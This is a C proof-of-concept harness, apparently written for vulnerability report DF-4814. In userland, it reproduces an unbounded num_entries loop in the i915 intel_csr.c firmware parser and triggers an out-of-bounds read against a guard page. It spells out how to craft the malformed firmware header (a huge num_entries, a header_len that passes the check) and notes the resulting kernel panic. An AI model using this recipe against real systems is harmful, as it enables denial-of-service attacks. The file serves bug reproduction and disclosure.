DF-4814 / poc_csr_num_entries.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-4814 host-side logic harness (NOT a kernel run). * * Reproduces, in userland, the exact parse loop of * sys/dev/drm/i915/intel_csr.c:parse_csr_fw() (lines 352-365) on the exact * packed struct definitions from that file (lines 111-137), to demonstrate * that package_header->num_entries is used as the loop bound while the * walked array is the fixed-size fw_info[20]: * * struct intel_package_header { * unsigned char header_len; * unsigned char header_ver; * unsigned char reserved[10]; * uint32_t num_entries; <- attacker u32, unbounded * struct intel_fw_info fw_info[20]; <- fixed 20 entries * } __packed; * * for (i = 0; i < package_header->num_entries; i++) { // no bound! * if (package_header->fw_info[i].substepping == '*' && ...) * ... * } * * The firmware buffer is placed at the end of an mmap region followed by a * PROT_NONE guard page: reading past the buffer models the kernel walking * off the end of the request_firmware() heap allocation. In the kernel this * is a page fault in kernel mode => panic; the read values also feed * dmc_offset (further OOB indexing at intel_csr.c:372-376). * * build: cc -O2 -o poc_csr_num_entries poc_csr_num_entries.c * run: ./poc_csr_num_entries (variant A: minimal 1536-byte fw file) * ./poc_csr_num_entries big (variant B: 1 MiB fw file) */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> /* ---- verbatim from sys/dev/drm/i915/intel_csr.c:111-137 ---- */ struct intel_fw_info { uint16_t reserved1; char stepping; char substepping; uint32_t offset; uint32_t reserved2; } __attribute__((packed)); struct intel_package_header { unsigned char header_len; unsigned char header_ver; unsigned char reserved[10]; uint32_t num_entries; struct intel_fw_info fw_info[20]; } __attribute__((packed)); struct stepping_info { char stepping; char substepping; }; /* ---- end verbatim ---- */ static volatile unsigned long g_iter; /* current loop index */ static volatile unsigned long g_arr_end_i; /* i where fw_info[20] ends */ static const unsigned char *g_fw_end; /* end of fw buffer */ static sigjmp_buf g_jmp; static void fault_handler(int sig, siginfo_t *si, void *uc) { (void)sig; (void)uc; printf(" SIGSEGV/%d at %p accessing fw_info[%lu] " "(array has 20 entries; fw file ends %ld bytes before fault)\n", sig, si->si_addr, g_iter, (long)((const unsigned char *)si->si_addr - g_fw_end)); printf(" => unbounded num_entries walk left the buffer and hit an " "unmapped page.\n In-kernel equivalent: page fault in kernel " "mode -> panic (DoS),\n or garbage dmc_offset feeding further " "OOB indexing at intel_csr.c:372-376.\n"); siglongjmp(g_jmp, 1); } /* verbatim parse loop from intel_csr.c:353-365 (si fixed to SKL A0) */ static uint32_t dmc_offset_walk(const struct intel_package_header *ph, const struct stepping_info *si) { uint32_t dmc_offset = 0xFFFFFFFF; uint32_t i; for (i = 0; i < ph->num_entries; i++) { g_iter = i; if (ph->fw_info[i].substepping == '*' && si->stepping == ph->fw_info[i].stepping) { dmc_offset = ph->fw_info[i].offset; break; } else if (si->stepping == ph->fw_info[i].stepping && si->substepping == ph->fw_info[i].substepping) { dmc_offset = ph->fw_info[i].offset; break; } else if (ph->fw_info[i].stepping == '*' && ph->fw_info[i].substepping == '*') dmc_offset = ph->fw_info[i].offset; /* no break: keeps walking */ } return dmc_offset; } int main(int argc, char **argv) { size_t file_size = (argc > 1 && strcmp(argv[1], "big") == 0) ? 1024 * 1024 : 1536; unsigned char *fw, *guard; struct intel_package_header *ph; struct stepping_info si = { 'A', '0' }; /* SKL A0 */ uint32_t dmc_offset; size_t pagesz = 4096; /* fw file placed flush against a page-aligned PROT_NONE guard page */ size_t map_len = ((file_size + pagesz - 1) / pagesz) * pagesz + pagesz; fw = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (fw == MAP_FAILED) { perror("mmap"); return 1; } guard = fw + map_len - pagesz; /* first page after the RW area */ if (mprotect(guard, pagesz, PROT_NONE) != 0) { perror("mprotect"); return 1; } fw = guard - file_size; /* file occupies [fw, fw+file_size) */ g_fw_end = fw + file_size; /* craft a "structurally valid" prefix: CSS header 128B (header_len=32), * package header 256B (header_len=64) with a huge num_entries; fill the * whole file with non-matching stepping bytes so the walk never exits */ memset(fw, 'Z', file_size); ph = (struct intel_package_header *)(fw + 128); ph->header_len = 64; /* 64*4 == sizeof(package header): passes */ ph->num_entries = 0x08000000; /* 134,217,728 entries * 12B = 1.5 GiB walk */ g_arr_end_i = 20 + (file_size - 128 - sizeof(*ph)) / 12; struct sigaction sa = { 0 }; sa.sa_sigaction = fault_handler; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); printf("DF-4814 harness: fw file %zu bytes, num_entries=0x%08x, " "fw_info[] holds 20 entries (%zu bytes)\n", file_size, ph->num_entries, sizeof(struct intel_package_header)); if (sigsetjmp(g_jmp, 1) == 0) { dmc_offset = dmc_offset_walk(ph, &si); printf(" walk completed without fault?! dmc_offset=0x%08x " "(unexpected)\n", dmc_offset); return 2; } printf(" fw_info[] array ended at i=20 (offset %zu into package hdr); " "loop bound was num_entries=%u => OOB read of up to %u bytes " "beyond the array.\n", sizeof(struct intel_package_header), ph->num_entries, ph->num_entries * 12U); return 0; } |